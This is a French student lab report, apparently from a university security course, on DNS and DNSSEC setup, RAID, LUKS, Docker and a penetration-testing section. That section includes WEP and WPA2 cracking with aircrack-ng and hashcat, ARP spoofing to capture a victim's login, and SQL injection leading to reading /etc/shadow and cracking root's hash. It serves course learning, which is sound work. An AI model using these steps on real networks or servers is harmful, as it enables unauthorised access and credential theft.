 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
==== Clés SSH ====&lt;br /&gt;
&lt;br /&gt;
Génération d’une clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Installation de la clef publique sur une cible :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh cible &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
A FINIR&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
